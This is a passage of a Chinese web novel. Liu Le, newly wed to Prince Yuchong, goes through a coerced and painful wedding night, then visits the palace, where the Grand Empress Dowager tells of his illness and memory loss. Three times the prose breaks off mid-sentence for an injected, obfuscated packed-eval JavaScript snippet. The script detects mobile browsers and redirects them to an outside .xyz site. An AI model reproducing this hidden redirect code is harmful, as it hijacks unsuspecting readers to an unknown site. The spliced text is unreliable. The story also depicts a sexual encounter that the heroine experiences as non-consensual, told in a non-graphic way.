“我怕巧莺——我怕我的丫环找不到我。” “既进了我这府里,丢不了。”他说,“巧莺不会找你,这时她已听见了,有人告诉她。” “哦。”柳乐重新坐好。 予翀笑一笑,又道:“我听说这几日你都待在前面,也不想在王府里转转。——我恐怕,若不叫你,你自个儿一个人能把自己闷死了,所以刚才遣人去请你来着。” 柳乐的心微微沉了沉,当然,娶她,不是为让她来自得其乐的。“这几日都在习学礼仪,我不懂的太多,要多练练。本来是要去问候殿下,只是想着殿下事忙,就没敢贸然打扰。”她解释说。 “我不忙。你对我,是不是太想当然,判断下得太轻易了?”予翀笑着问。 柳乐不答,予翀目光在她脸上一瞟,便游到别处去了。 又过了好一会儿,他才再次开口:“知道为什么我请你来?我想要你看看这落日。”予翀冲着既将没入西山的太阳举了举杯,“你来得正是时候——黄昏,一日之中我最中意这个时辰。你呢,大概也是吧?” “我喜欢早晨。”柳乐在心里暗自筹划别的事,随口答道。 “哦,我忘了,一日之计在于晨,不是么?”予翀含讽地对她笑道。 柳乐根本没多想,哪知他会联系到计晨的名字。这时候解释也晚了,她默不作声。 予翀没有追究,他垂下眼睫,看着杯里的酒说:“你们没经过事的人,只知清晨充满希望,却不懂黄昏挨着死亡。” “我爱的姑娘就是死于一个黄昏。”他猛地仰头,将杯中酒一饮而尽。 柳乐一怔。他的神情异常忧伤,令她心中也异样地难过,只是不知该如何出言安慰。 她感到思绪恍惚了一瞬,再一抬眼,看那只杯子又满了,——也不像没留意时他重新斟了酒,倒仿佛黄昏的血色倾入了杯中一样。 予翀依旧盯着紫红的酒液,又说:“黄昏,可真是个好时候啊。有人成婚,有人杀人,有人密谋。” “她叫人杀了?”柳乐失声叫道。 “你说哪个?”予翀抬眼,静静看着她。 “你……那位姑娘。” “不,杀的倒不是她。不过她也还是死了。” 他的语调越是平常,越令人毛骨悚然。柳乐不由向后倾了倾。 “我不该吓唬你。”予翀微微笑起来,“来,喝了它,压压惊。” 酒杯已送到她口边,柳乐无法推辞,微微扬起脸。予翀轻转手腕,把酒慢慢倒入她口中。这酒的滋味极清甜,一点儿也不呛人。 柳乐虽不讨厌这味道,可杯中的酒液似乎永远流不完,她看到酒杯越举越高,感到自己的脖子越来越向后仰,直到整个咽喉暴露在他镇静的注视下。 “够了。”她猛地推开他的手臂,坐直身体。 予翀朝杯中看了一眼,伸出舌尖舔了舔嘴唇,把杯沿沾湿的一段压在他唇上刚舔过的地方。“还没完。”说罢,轻轻一仰头,把剩下的酒一口饮尽。 “这才好了。”他把酒杯覆过来,在柳乐面前左右摇晃,让她看清楚没有一滴酒掉落。“这杯子的妙处便在此——你以为到底了,其实还早呢。不过,再妙也就是一只杯子罢了——人心可比螺更要曲折难探。” 柳乐不搭言,望着院子一端云|墙下的一口小池。她感觉好像听见了水流的声音,水是从哪儿流来的,又要流到哪儿去?同时,她感觉予翀正从侧面端详——不,审视着她。他说:“你看起来没怎么变。” 是说她形容、气度仍旧平常,不像个王妃?不像最好。 予翀紧接着又问:“园子里你最喜欢哪一处?” “这里。”柳乐指的是刚才进来的这所叫“折柳”的园子,而且并非说谎。美中不足是名字不好,但她满心想着怎样不失礼貌地告退,愿意在这个小处顺他的意。 “对!”予翀赞同,“这里最安静,夜晚也美。” 柳乐含糊地点点头。夜晚二字令她心中一警:若是天黑了,回去路怕不好走吧,今天是什么日子,月亮会出来吗?她抑住自己不向天空张望。 不觉间,霞光渐渐往西山后收敛了,整个庭院被一片淡紫的薄纱笼住,予翀的脸半隐在烟一样荡来荡去的阴影中,目光晦暗不明。柳乐越发感到不安,站起身,“天晚了……” “不晚。还没让你进去瞧瞧,喜不喜欢?”予翀向身后的屋子一指。 从外面看,屋子一排三间,又带两间耳房,朝南这面有六扇窗户。屋内不知何时让人点上了灯,在墙上勾出六只亮亮的窗框:正中的门左右两边开长窗,东西正屋是大大的八边形窗,两间耳房各嵌着一扇海棠小窗。窗前梅枝疏朗,晚风湛净。 在花园中整整齐齐筑这么一套房屋做什么,莫不是王爷的书房,又干嘛问我?柳乐心中疑惑,还是揭起堂门的夹板门帘,推门进去。 园中有不少供人小憩的屋舍,好像有人邀她似的,每一间她都忍不住去坐一坐,已经去了好几处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856599|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从每一扇窗望出去,都是不同的风景;可她立即发现此时踏入的是一间特别的屋子,比别处布置得更为精心、雅致。 灯烛照得满室亮堂堂的,宽敞明净。厅堂与东面屋子贯通,只拿一架花草绣屏从南墙隔开一半,正对着门当中的地方设一张六仙桌,桌旁两把灯挂椅,靠墙是一条长案,案上摆着花瓶、几件古雅玩器;绕过屏风,北窗下设一张大桌,左右放两张椅子,南窗下置一张小桌,桌前摆着椅子,右边一只圆凳,左边一只五斗柜,东边靠墙立着一只书架,一只多宝橱。——看来这儿果然是要当间书房,书架虽还空着,但桌上笔砚等文具已经齐备,勾得柳乐想要坐下写几笔字。 东墙又挂着幅水墨画:画上一片野林,春意跃然,左下角一道清溪流过,一只雌鹿从竹丛中探出半身,低头饮水。整张画笔法天真,生气勃勃,柳乐看了许久。 这幅林鹿溪饮图左右两旁却任性地挂了副与画面并无相关的字联:苔痕上阶绿,草色入帘青。 柳乐乍一瞧,觉得这联在此处十分不通,再向四周看:屋中一无金玉器玩,概是木石之物,不会使人局促不安,担心碰坏了什么。家具没有繁复的雕饰,却有美丽的天然纹理,油光水滑,亮如镜面。四五只大小不一、形貌各异的瓶子、罐子置在案上、柜上、架上,有瓷的,有陶的,有官窑的,有市井上的小玩意,有的插几株花,有的插一把草,或是不知什么枝子,上头缀几点豆大的红果,也有瓶子空着——不管如何,总与近旁之物调和、相称。 她一下子想不起自己身在王府,仿佛在什么灵秀之地,若推窗望去,外面正是绿意葱茏。 柳乐不由低声念了一句:“何陋之有?”半是讽刺,半是出于真心。 这时候,她把王爷都忘了。予翀既没有跟着她进屋,她便自在地多耽搁了一会儿,到处摸摸看看。 五斗柜上有只粉青瓷罐:一只圆圆饱饱大倭瓜,上了一层淡淡青绿色、柔和的釉彩,煞是光洁可爱。柳乐的手指顺着一圈瓜棱一棱一棱摸过去,舍不得离开。最后她揭开盖子,里面装着几串钱和几块碎银。 柳乐笑了。她再没猜到这是做个钱罐子用——大肚子倭瓜,倒挺妙。她忘了问问自己这屋里为何还需备些银钱。 一扇小门通向后院,揭起暖帘,一小股携着腊梅清香的风扑上脸。两只雀儿趁着傍晚的微光互相追逐,在梢间跳来跳去,悄声喁哝着听不懂的话语。柳乐对它们的嬉耍注视片刻,掩扉回身,又去瞧西面那间屋子。 门上挂着一挂竹帘,笔管粗细、寸长的湘妃竹穿在丝绳上,竹子温润光亮,散布的紫色斑点像幅画一样;手指在帘上拨去,竹子轻轻碰撞,音调清凉悦耳,比珠子的声响还觉好听些。 她拨开帘子进入西屋。 一扇折屏收了起来,面前又是间宽大的屋子,她不及四下细瞧,首先看见屋中突兀地摆着一张床。倒不是这里不能睡觉,主人自然可以随心所欲挑选休憩之所,不过一张罗汉床便够了,或者依她,一只小巧藤榻足矣,这里却是一架正儿八经的大床,上面铺着大红喜被,毫不留情地把柳乐的脸染得通红。 柳乐向后一步,无意中一偏头,案上一对巨大的红烛映入她的眼睛。 她正欲退出去,忽听帘子被人撩起,不等她回头,那人从身后一把抱起了她。 33. 貂裘与烛火 柳乐想要叫喊,瞥见大红色的袍袖,咬住了嘴唇。 “别动——”他声音喑哑地命令。 柳乐稍微挣了两下,因为胳膊被夹住,很不舒服。旋即她整个人被扔到了那团火样的被褥当中。 她当然不是很不晓事的姑娘,且答应嫁给晋王时,也做好了消极屈从的准备,可是事到临头,焉有不羞不怕的?——眼睛睁开,不知该往哪里放才好,一不留神落在他衣襟中,瞥见一道浅浅的金色,如探入烈火般缩回来;眼睛闭住,那一片耀目的赤红仍不散去,在面前摇摇荡荡,泼泼洒洒,中间浮出一点浅金,星星也似向她眨动。 一只手臂将她捞了起来。他的意愿是一堵山,她的身体是易折的草木,头发像一弯水流从他五指间淌了下去。她不知下面会是什么,然后,发觉他捧住她的后脑,隔着发丝抚摩她,两片嘴唇触了触她的面颊,一下、两下,随即如雨点般不停歇地落下来,滚烫的、轻蒙蒙的,一点一点洇开、渐渐要淹没人的…… 可是柳乐既不爱他,在她,怎样都类同受辱。她的嘴巴紧紧闭着,眼皮下涌出泪珠。 他甫一放开,她不由自主抱住膝盖,蜷做一团。 冷冷的声音在上头道:“你不是心甘情愿么?” 柳乐咽着泪将下巴点一下,把身子缓缓张开,脸扭向一边去。 可她绝没料到男人还能是这样,这时候再想寻回方才的小心翼翼、温柔软款似乎迟了。她觉得自己被一把拎了起来,脚踝被钳得生疼,她在震惊中张开眼睛,只看到一片熊熊的火焰。 碰到的身体火一样烫热。她想起小时候看人打铁,铁匠雄壮的胳膊举起铁锤,威风如天兵神将,现在想来却只有畏惧——她不敢去看他的眼,害怕他看她就像铁匠盯着铁砧击打时,眼里是两点红光。 可她依然能感觉到他的视线钻在她身上——落在哪一处,那一处就火烫得像要烧起来似的。 她知道自己已经上了砧板,她铁一般僵硬的身躯就要在击打之下变成另一副样子。 但她同样没料到是这般疼法,疼得全身无处不要缩起来。泪眼朦胧中,她伸手去触他的胳膊,反被他一把将双手扣在头顶。“疼——”她才刚呻吟一个字,就听他说:“还能有第一回疼?” 于是她明白,眼泪和恳求只会激恼他,她将泪水憋在眼眶中,恳求咬碎在唇上。迎着他的眼睛,她不闪不避,直直地盯进去。 他到底是放轻了许多,但柳乐不会买账了,当他抬手,不知要擦她的泪还是汗时,她狠狠把脸转开。 可能是见她这样,终归无趣,予翀一阵风般下了床。不一时,他回到床边,刚向她弯下身,不知怎的,突然顿住,只听啪嗒一声,是湿帕子被甩在地上。他把柜门开关得砰砰响,将一大团毛茸茸的东西兜头向柳乐丢去,从头到脚一把裹她在里面,抱起来就走。 柳乐听他气恼,不知他要将自己如何,也不在乎,由他发作去。可她从缝隙中张见黑黢黢的树影和一片夜空,想到自己还没穿上衣物,不由心惊,猛地挣起来。 他抱得很紧,柳乐挣不动。忽地他蹲下身一抖搂,把她抖入一口冒着气的热锅中。 柳乐“啊”了一声,他也像没听见,只扔下几个字:“好了就喊。” 白烟从四面围拢过来,柳乐大睁着眼,确实瞧不见予翀的身影了,她才轻轻吐出一口气。池中修着半圈石凳,她摸去坐下,水波在肩头一荡一荡,怪舒服的,她又往下缩了缩,只留个脑袋露在外面。 不知道为什么,脑子里还净记挂着没相干的事情,她抬头去看,果然,一轮圆圆的月儿正往上爬,已从那山头上翻过一多半来。 忽地又想起他在抱着她时口里的喃喃低语。那些话像贴在她脸颊和耳畔的嘴唇一样柔软,可她一点儿也不懂词句的意思。他似乎是忘情了,他嘴里的柳乐是另一个人,等他发觉她不是那个人,就全变了。 他好像对她有仇一般——不是仇,只是鄙夷。他那样炯炯逼人地盯住她,发怒的火焰和鄙视的寒冰交替着在他眼睛里隐现。 她有什么过错? 没有。一分都怪不得她,非要怪的话,谁让她答应嫁他呢。他毕竟还好看,好看之人无论如何和禽兽总不沾边吧。 正是因为他好看,她心中的屈辱像被刀刺一样——被一把锋利、雪亮的刀。 等了好久,月亮终于完完整整地嵌进头顶一方靛青色的夜空,月光柔柔地洒入山坳,像雪花一样融入雾气中。 柳乐身上的疼痛和僵硬不知不觉消散了,她轻轻闭上了眼睛,双臂抱住自己的身体。 她还是她,没有变成另一副样子。本来可以不必把他放在心上,可是,不管她乐意不乐意,刚才的事把她和王爷紧紧连在一起了,多么痛苦的连结啊。 哗啦啦一阵清脆的玉珠敲击声将她惊醒,睁开眼,一个黑影两步跨到面前。 “好了没有?” “好了。”柳乐慌里慌张不知该起身还是没入水里,差点呛一口。 “好了怎么不唤我?”黑影子忽地离去,又将帘子拍得噼啪响,丢一件衣袍在池边,“出来吧。” 柳乐看他背过身,急忙钻出水,捡起袍子往身上披,才发现是条衾被,赶快把全身裹住,尽力把身上头上的水擦干。怕予翀不耐烦转过来,益发窸窸窣窣、手忙脚乱。 予翀果然等不住,转身将她一抱,用力把她的头往他胸前按。 柳乐僵了半晌才发现他在为自己擦拭——擦得倒有章法,由上至下,要擦哪处他便抱住哪处,用手臂箍一箍,那一处的水便叫裹在身上的布子沾得干了。 他始终垂着眼,一点点弯身,直至蹲下,擦完小腿,他停住,不知从哪里掏出条汗巾子铺在地上,柳乐明白意思,抬脚踏在上面,他便将两只脚的脚背都仔细擦了擦,然后,立起身,向她脸上去看。 到这时候,柳乐早已经不哭了,可是发梢上正巧滴下一滴水在眼角旁,予翀看见,伸出手指轻轻刮去,忽地把她一整个箍入怀中。 柳乐丝毫不觉得冷,然而身体却抖个不停。过了一会儿,方觉原来是他浑身打颤,这才想起,他身上只有一条宽宽敞敞的袍子。从今天见到他起,这件袍子始终没脱下过,刚才她曾被裹在里面,像被罩在一团烈火中。可那是在屋内,现在,在夜空之下,连他也逞不起威风来——虽然四面的山挡住了寒风,泉水又散着热气,可毕竟是冬月的深夜里,纵使再身强力壮的人,只披一件单袍,也是要冷的吧。 活该。柳乐心里说。好像听见了这两个字,予翀忽然止了颤抖,全身又变得无比冷硬,手臂真成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868575|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了铁箍一般,紧紧箍住她,再箍一会儿。 他松臂放开柳乐,转身不知取了件什么东西,柳乐还没叫喊出声,被他一把将身上的衾被抽掉,那条披风又劈头蒙上来。 他和来时走得一样快,抱得一样紧。现在柳乐不那样怕,便也不挣扎了。她觉出身上大概是条貂皮,那比最滑的锦缎还光滑的皮毛贴着她周身,滑溜溜的。她并不担心滑下去。 片刻之后,予翀将她向那仍是凌乱不堪的床上一丢。 “以后你就在这儿安置。”话音未落,人已走出门。 柳乐急忙拉被盖住自己,翻身转向里壁。隔了一会儿,劈啪一声将她吓了一跳,战战地转过身子。 王府深院重门,连打更的梆子都传不进来。刚才是一块炭在盆中裂开,柳乐好一时才想明白。这时她又回想起来,这间园子几乎可以算作建在山里,又这样大,白日里就见不着什么人,只有那些老树,好像从黑巍巍的山上走下来的鬼魅一般。她向两边摸了摸,摸到方才那条貂皮,拽在身上,把自己缩拢在里面,用手臂圈住膝盖,望着案上两点金红的烛火。 两丛小小的火苗在她眼中一跳一跳,跳得两只眼睛倦了,上下两排睫毛渐渐捉对儿合拢来。于是,眼睛下多了两弯静静的影子,而睫毛翘起的一端还在微微颤动着——若细看,那只是跳动的烛火映在上面的一点儿亮光。她已经睡得熟了。 . “王妃——” 柳乐被唤醒,睁眼去看,一位姑娘立在床边。 “请王妃更衣。” 是王府的侍女,今日要进宫。柳乐刚记起这事,眼前一闪,四周忽地暗下来,原来是夜里给她带来些许慰藉的蜡烛熄了。这时窗上的浓黑才变淡了三四分,她心中暗叹一口气。 侍女立即重新点亮灯,柳乐看见案上一对刻花并蒂莲纹青釉烛台,蜡油挂下来,莲瓣上染了几道红。 她一惊,忙道:“衣服放这儿,你先出去。” 侍女将手中的衣物放在床脚的圆凳上,退了出去,柳乐这才从貂皮中钻出来,飞快翻了翻,发现是几件穿在里面的衣服,上下倒都齐全,连忙穿好,站到地上,且不忙别事,先去检查床褥。 昨日穿在身上的衣服一件件四下里胡乱扔着,她将它们一一捡回来,发现好些已撕破了。她握着衣服呆了一会儿,拿它们毫无办法,最终还是打起精神,把厚实的几件叠好塞入箱子,另几条撕得不像样的紧紧卷起来,扔在一旁,然后就俯身瞪大眼睛向床褥上细看。 有一小块暗红的斑点,比周围颜色深些。——世人皆知她是二回嫁人,没人费神关心这档子事,但万一被人瞧出来,倒好像她有意作假一般,岂不是成了笑话。 柳乐立即动手把锦被缎褥全部掀到地下,开口唤人。 刚才那个侍女进来,柳乐指了地上说:“这些送去洗了。”又指着那卷衣裳,“这些拿去或烧、或另想法子毁了,不得留着。” 柳乐说话时暗暗不安且脸红,侍女却毫无异色,口中应是,抱起东西出去;另有一列侍女鱼贯而入,有的秉烛,有的擎镜,有的捧衣,有的执巾,有的持壶,有的奉盘,上来伺候她梳洗,又为她盛装打扮。直忙了半个时辰,中间柳乐偷闲吃了几口饭,便见天光已明,她出门乘了大轿,往皇宫而去。 34. 太后和祖孙 婚礼那日,柳乐曾叫人捉着手,领至太后面前叩拜,不过她还并没有瞧见过太后的模样。成亲前,太皇太后召见了她一次,皇宫的样子她倒是看清了,那一座座巍峨的殿宇,在她眼里都是同样的宏伟整肃。柳乐将轿帘挑起一道缝,向外张了一会儿,放下帘子,又在心中默念前几日刚学的礼仪规矩。 轿子在永安宫停下,柳乐下轿,抬头望了望,举步而入。 早有宫人进去通报,十数名宫女将她引至正殿,柳乐偷偷把眼光向殿中溜去,见左右两边两溜空空的交椅,中间端坐一人,头插点翠凤钗,身着明黄大袍,便上前下拜道:“臣妾柳乐拜见母后。” 皇太后忙命人扶她起来,要她在面东打首一张椅上坐了,细细打量一会儿,笑道:“王府怎么样,吃住可还习惯?” “习惯。”柳乐回答。 “不闷吧?” “不闷。”柳乐微微笑了说。 “喜欢便好。今天多留你一会儿,陪哀家用了饭,也到处转一转。” 太后又问她的父母,问她归宁那日的情形,柳乐不敢直盯着太后,半垂着头一一作答,可是说着说着,畏怯之情不由便被她丢开了——要是不看那雕着松鹤的紫檀宝座,不看那亮灿灿的金绣龙凤文黄袍,也不看吞吐着香雾的虎头兽脚五足熏炉,她竟觉得仿佛是与先前的婆母董素娥坐在屋里说话。太后是位美妇人,一头厚密的乌发,面色白里透红,形状很漂亮的眼睛中放出两道虽不算亲切、但也不很威严的目光。柳乐想不通自己怎会觉得她与董素娥相像。 这时宫女进来报皇后到,柳乐忙起身向一旁站了,就见皇后带着几位妃嫔过来请安。等她们拜见过皇太后,柳乐才上去拜见皇后,又与诸位妃子彼此见礼。皇后姓曹,二十六七年纪,气度十分雍容,有位钱贵妃,绿鬓朱颜,长得也极美,柳乐刚听哥哥说过钱家,故此印象深刻,又有周妃和袁妃,都是一团和气。见过后,太后说:“坐下说话。”皇后便在面西的头一张椅上坐下,皇妃们皆在其身后侍立,柳乐也归了坐。 太后慢慢问后宫起居等事,又问几位皇子公主,向柳乐道:“上学的上学,小的太小,改日再见你几个侄儿侄女吧。” 又坐了有一刻钟,皇太后对皇后道:“回去罢,我带你六弟媳妇去太皇太后那儿。她老人家今日要和他们小两口说话,你们都不必过去。” 皇后及诸妃子告退,皇太后便携柳乐一同乘了鸾舆,前往太皇太后寝宫。 眼见到了,太后忽道:“有件事忘了。你先进去,哀家等一时再来。” 柳乐点点头,见太皇太后她并不惧怕,可是刚才太后的意思是予翀也在,她便有些不大自在。下舆后,她立在原地,垂首待太后回转,这才转身向仁寿宫走去。又有数名宫女在殿前等候,引了她同至殿中。太皇太后此时在偏殿,屋内正面设一张宝榻,铺着玄狐皮坐褥,太皇太后坐在上面,两旁几张圈椅,予翀在离榻最近的椅上坐着,祖孙两个正说话。 柳乐上前拜倒,口内说着请安问好等语。 “免了,免了,快上来。”太皇太后连声说,扭头埋怨予翀,“你还只管坐着,还不快叫你媳妇过来。” 早有宫女扶了柳乐起来,予翀对她说:“你陪皇祖母坐一会儿。” 柳乐看他已经起身相让,不好再推,刚上前,太皇太后拍着身侧说:“过来跟前坐。” 柳乐不敢,拿眼去瞅予翀,予翀说:“你声音小,离皇祖母近些,她听得清楚。”柳乐方告了坐,半坐在榻沿上。 予翀也不坐回椅子,只管在屋内来回踱步转悠。 太皇太后满面笑容,对柳乐说:“我听翀儿说,你看了王府的花园倒还喜欢,已经选了一处最可心的院子居住。” 柳乐只好答:“我在花园里走得累了,停下歇了一晚,恐怕不合适。其实住原先的屋子甚好,我还是回去住。” “哪有什么不合适,翀儿也是费了一番心思准备,你喜欢不是正好?”太皇太后轻轻一拍她,“再说也是你自己的家,只要你高兴,哪里住不得?” 予翀插道:“如今各处俱已收拾妥当,皇祖母不嫌我们招待得不周到,还请再去逛逛。” 太皇太后笑呵呵说:“这回你休想混赖,等明年春天天气暖了,好好叨扰你们几日。”她又向柳乐说,“他那花园我原先也去瞧过一次,比宫里的花园不差。后来他病在床上,我去看了他几回,哪还有心思再逛花园,但我命人照料着,不许让它十分荒了。我总想着等翀儿一醒来,别看着家里花也败了,树也枯了,不像个样子。” 柳乐说:“难怪花园里连一株株草都长得精神饱满,原来是皇祖母疼顾。” “也不是我——饶是我吩咐着,翀儿后来还又花了大力气整饬。宅院里那些草木都是有灵性的,要看见主人才肯好好长——没有主人常常出入,靠几个花匠到底不成。如今有你住进去,隔一段再看,必定长得又更好了。” 柳乐半低着头说:“好些东西我不懂得,怕照管得不妥。” 太皇太后又呵呵地笑了:“我看你很好,你只管按自己的意思来,不懂也不怕,谁是一打头就全懂得的?府里那些人,你只管使唤——好些是我挑选出来的,都是老实孩子,就是人还少点儿,该用三百人,现今才是一半。我让翀儿再添,他也不动,说一个人用不了那么大的排场。——如今可是两个人了,这些你该听王妃做主。”她转头对予翀说完,又向柳乐道,“我还把翀儿也交给你了——他这人瞧着乖,其实性子拗,你看他做得不对,该说就说。” 柳乐低头闷不作声,太皇太后又说:“看他现在这样,谁能想到,他刚一醒来时——本来病好是高兴的事,可一看他,又实在是让人揪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872208|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。你想,他病着那段,又没吃进什么东西,每日只用老参熬汤药吊着,光人参不知费了多少,都是论斤拿来用——好的熬汤喝进肚里,差些的,还要煮了给他泡药浴,好在总算撑下来了,只不过瘦得就剩了一副架子,站起来像片纸一样,站也站不住,他还非要挣着下地,跌在地上也不许搀扶,怎不让人看了难受?” “皇祖母又来揭我的短。”予翀说,“这人的身子和花园差不多,光凭人照料不行,还得常去走走,用进废退。” “道理虽如此,也不是一日两日的工夫,身子还是得慢慢养将,急也急不来。” “白白耽搁了两年,自然心急。”予翀对太皇太后说,眼睛却望着柳乐。 柳乐说:“两年并不长,留得青山在,后面的日子还多呢,万事都能等得。” “你媳妇果然比你明白。”太皇太后喜得搂住柳乐,又向予翀说,“偏要揭你的短,还有什么怕你媳妇知道的?” “皇祖母尽管说吧。”予翀无奈道。 “他就是这么个性子,”太皇太后转向柳乐,“其实现今想来,我真佩服他,是他们魏家的种,有一股子劲。——他那一病起来,倒又变做幼儿了,什么都得重头来一遍,学着站,学着走,刚能走稳了,又要跑,又要跳,又要去骑马射箭,还不肯输给别人,个把月的工夫,全成了。看他如今的身子骨,哪里像是大病一场躺了两年的人?可是那时候谁能料到现在,我们怕他把自己又折腾出毛病,劝他不听,命令他也不听,差点儿要把他绑在床上,就这也拦不住,最后只好由他。我来他们家里这么些年,做媳妇,做母亲,做祖母、曾祖母,我以为是把姓魏的这些人摸透了,可有时我也纳闷,他到底是打哪生出来这股子劲儿。” 予翀口里答太皇太后,却仍是望着柳乐,微微笑着:“因为我必须得完全做了这皮囊的主人才行。” 太皇太后继续说:“光是这些也还罢了,还不止——等他身子骨壮一些,能走跑了,又开始料理各种事情,先是王府翻修,——你看那园子好吧,就是专为你修的。” “也是为了重新理出个头绪,府里的事都生疏了。”予翀解释道。 太皇太后不看他,对柳乐说:“不管是为什么罢,他就是自己的事要自己操心的脾气。别小看了——建这皇宫王府,费了多少工夫,各项事情有多少人在里头出力?他就全凭自己一人策划,又劳身,又劳神。还有他那封地上的事情,他不是刚刚回来么?那时我不叫他去,我说你病才好,长途奔波太辛苦,找人替你瞧过、禀报你就罢了。他不肯,不放心别人,说:‘迟早都要去一趟,不如早去,我快去快回,还赶回来成亲呢。我可不愿意娶了媳妇又出门去。’我听了也是个理,才放他去了。” “所以我说,只有你这个人,才牵得住他。”太皇太后看着柳乐,看得她低低垂下头去。 35. 戒指和黑猫 “唉。”太皇太后长长叹一口气,“还没说最难的——最难的是他不记得事、不记得人了。他醒来初时,险些连自己是谁都不知,遣人去请他皇兄,见了虽知道是皇上,可他们做兄弟的事情却全不晓得了。见了我也一样——他看我们这些人,都和陌路人一般。我让人把前头的事慢慢告诉他,指望他能想起来,也不管用。我想罢了,他不记得我,我记得他,他总是我的孙儿。 “翀儿的生母先前是贵妃,和他母后是叔伯姐妹,唉,可惜年纪轻轻的,在生他妹妹时没了,所以翀儿是五六岁起就跟在我身边,我把他养大。他说过的话,做的事情,一桩桩我都记得。他想事情想得苦时,便用手指支在额上,姿势和他的祖父一模一样,如今他还有这习惯,我一见就说,好,好,你把你祖母忘了没关系,只要不是痴傻了就行,便是痴傻了,留得一条命在也好。如今有命在,又不痴不傻,好好一个全乎人,又能做许多事,能与我说话,让我时时看见,我还有什么不足?我心里怎么不高兴? “高兴过了我又想,最苦的其实是他自己,我们总还有其他亲人,他呢?这么多人说是他的亲人,可他一个都不认得,心里岂不还是孤孤单单的?——幸亏他遇见了你,这就好了,你是他自己认定了的人,有你在,便不会孤单了。” 太皇太后说话中间眼里流下泪,拿帕子拭了又拭。 予翀走来跟前,沉默一会儿说:“孙儿不孝,害祖母伤心。” “不伤心,不伤心,我这是看见你娶的媳妇高兴。”太皇太后拉起柳乐的手,笑着说,“你们两个好好的,我以后天天都是高兴。” 柳乐听见太皇太后嘴里的予翀,的确是令人佩服,可她自己认识的予翀,却像另一个人似的。但她亦为他们的祖孙之情所动,在太皇太后和蔼的注视下,她不由点头答应。 “这就对了。”太皇太后把一只镶白玉戒指从指上慢慢卸下来,又拿在手里一时,才递给予翀,“你捏一捏给你媳妇戴上,这是我成亲时戴的,送给我的孙媳妇。” 柳乐忙起身告谢,太皇太后看予翀为她戴好戒指,又拉她坐下,摩挲着她的手说:“往后我看你和看翀儿一样亲。他要让你受委屈,你不好向人说的,只管来对我说。小时候我管教翀儿可严厉着呢,如今大了,反还管不得了?” 祖孙三人吃茶、说话,喝完一盏茶,太后来了。等太后见了礼,太皇太后让她在原先予翀的位置坐了,予翀仍站着。 柳乐也立在一旁,太皇太后招她近前:“不用忙,你还坐这里。” 太后也说:“太皇太后喜欢与孙子们亲近说话。” 柳乐便仍如前坐了。太皇太后拉着她向太后笑道:“你看,我跟你说的不错罢,这孩子生得甚是聪明清爽。” 太后又向柳乐端详了端详,瞧见她的手,笑着说:“可不是,我刚才一见她,心里就想,难怪翀儿急得那个样子。那一日,大中午头的,他忙忙跑进宫来,跟我说已看中一个女子,必要娶她,又求皇上。他皇兄还犹豫,嫌太性急,我说:‘翀儿既看中,必没有错,何须再详细考查。况且他年岁也不小,如今又大愈了,何不趁便就办了婚事,喜上加喜。’皇上才允了。话虽如此,那时候我心里也纳罕:多少世家大族的姑娘都不中他意,怎的突然看见这一个就放不下了?早知是这么模样一个人儿,我也不白纳罕那么久。” 太皇太后说:“也不是说那些姑娘不如她,两个人要投契,还讲一个缘法在里头。模样本不是最重要的,不过要论模样,我讲句公道话,比她标致的姑娘,照说也不是没见过,可一见她,把她们的样子全都想不起来了。” “这话皇祖母说得不公道,天下的人根本就没有比她美的。”予翀说。 柳乐不禁抬头向他看了一眼,似乎叫他发觉了,漠然地扭过脸,目光如有如无掠过她身上。 这人竟是自己的丈夫,人和人多么不同。同样的话,有人是从心窝里飞出来,也能钻到人心窝里去;有人说出来却像雪片一样,轻飘飘,冷冰冰,须臾就消散不见了。 可就是心窝子里的话也未必就真,便是一时真了,未必能长久。 柳乐心内自叹,太皇太后却是哈哈大笑,手指着予翀:“瞧瞧,有了媳妇,什么祖母、母亲、天王老子,统统都得靠边了。” 太后正若有所思看着予翀,闻言也笑道:“年轻后生哪个不如此,怪不得翀儿。” “没说怪他,这样便好。”太皇太后说,“喜欢就是喜欢,有什么不能承认,那般虚伪做什么?刚才我才跟他们说起来,他们这一成亲,我心里头去了一桩大事。翀儿的哥哥们、姐姐们都不必我操心了,他又是最小一个孙儿,又是我带了他这么些年,自然最不放心他。先前他病着,我急得很,心想怎么对得住他父亲把他托付给我,现在他大好了,还娶了这样好的媳妇,谁还能有我高兴?” 太后说:“翀儿这场病一好,又娶了王妃,把那两年的担忧都抵过去了。虽说将性子改了些,细想来未尝不是件好事。” 太皇太后问:“哪里改了?我看他还是那个性子。” “我看是更稳重了。”太后忙答。过了一会儿,她又问柳乐,“你琴奏得一定很好吧。” 